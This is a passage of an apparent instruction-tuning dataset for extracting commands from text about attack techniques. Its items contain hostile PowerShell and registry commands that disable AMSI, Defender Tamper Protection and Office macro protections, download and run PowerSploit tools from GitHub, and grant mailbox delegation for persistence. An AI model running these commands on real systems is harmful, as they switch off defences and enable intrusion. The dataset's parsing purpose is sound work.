    "output": "{\"command_list\": [\"New-Item -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\"\\nNew-Item -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\"\\nNew-Item -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\\ProtectedView\\\"\\nNew-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\" -Name \\\"VBAWarnings\\\" -Value \\\"1\\\" -PropertyType \\\"Dword\\\"\\nNew-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\\ProtectedView\\\" -Name \\\"DisableInternetFilesInPV\\\" -Value \\\"1\\\" -PropertyType \\\"Dword\\\"\\nNew-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\\ProtectedView\\\" -Name \\\"DisableUnsafeLocationsInPV\\\" -Value \\\"1\\\" -PropertyType \\\"Dword\\\"\\nNew-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\\ProtectedView\\\" -Name \\\"DisableAttachementsInPV\\\" -Value \\\"1\\\" -PropertyType \\\"Dword\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test can be performed by executing the following sequence of commands to apply the SetGID flag: sudo touch #{file_to_setuid}\nsudo chown root #{file_to_setuid}\nsudo chmod g+xs #{file_to_setuid}\n",
    "output": "{\"command_list\": [\"sudo touch #{file_to_setuid}\\nsudo chown root #{file_to_setuid}\\nsudo chmod g+xs #{file_to_setuid}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using PowerView's Get-DomainUser function, execute this command to scan the domain and show user details: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The AMSI function can be disabled by executing this command sequence to add the registry value \"AmsiEnable\" with a value of 0: \nNew-Item -Path \"HKCU:\\Software\\Microsoft\\Windows Script\\Settings\" -Force | Out-Null\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows Script\\Settings\" -Name \"AmsiEnable\" -Value 0 -PropertyType DWORD -Force | Out-Null\n",
    "output": "{\"command_list\": [\"New-Item -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows Script\\\\Settings\\\" -Force | Out-Null\\nNew-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows Script\\\\Settings\\\" -Name \\\"AmsiEnable\\\" -Value 0 -PropertyType DWORD -Force | Out-Null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation grants a user full mailbox delegation rights, potentially enabling adversary persistence, via the command: Import-Module ExchangeOnlineManagement\n$secure_pwd = \"#{password}\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nAdd-MailboxPermission -Identity \"#{delegate_target}\" -User \"#{operator_mailbox}\" -AccessRights FullAccess -InheritanceType All\nDisconnect-ExchangeOnline -Confirm:$false\n",
    "output": "{\"command_list\": [\"Import-Module ExchangeOnlineManagement\\n$secure_pwd = \\\"#{password}\\\" | ConvertTo-SecureString -AsPlainText -Force\\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $secure_pwd\\nConnect-ExchangeOnline -Credential $creds\\nAdd-MailboxPermission -Identity \\\"#{delegate_target}\\\" -User \\\"#{operator_mailbox}\\\" -AccessRights FullAccess -InheritanceType All\\nDisconnect-ExchangeOnline -Confirm:$false\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    RedLine Stealer attempts to modify Windows Defender settings by executing a component file, as shown in this command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" /v \"TamperProtection\" /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows Defender\\\\Features\\\" /v \\\"TamperProtection\\\" /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test aims to uncover system startup details by executing the command: reg.exe query HKLM\\SYSTEM\\CurrentControlSet\\Control /v SystemStartOptions\n, which queries the registry for boot-related configurations.",
    "output": "{\"command_list\": [\"reg.exe query HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control /v SystemStartOptions\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For successful execution through cmd.exe that outputs results via stdout, use sharpview.exe with this command: $syntaxList = #{syntax}\nforeach ($syntax in $syntaxList) {\n#{SharpView} $syntax -}\n",
    "output": "{\"command_list\": [\"$syntaxList = #{syntax}\\nforeach ($syntax in $syntaxList) {\\n#{SharpView} $syntax -}\\n\"]}"
  },
  {
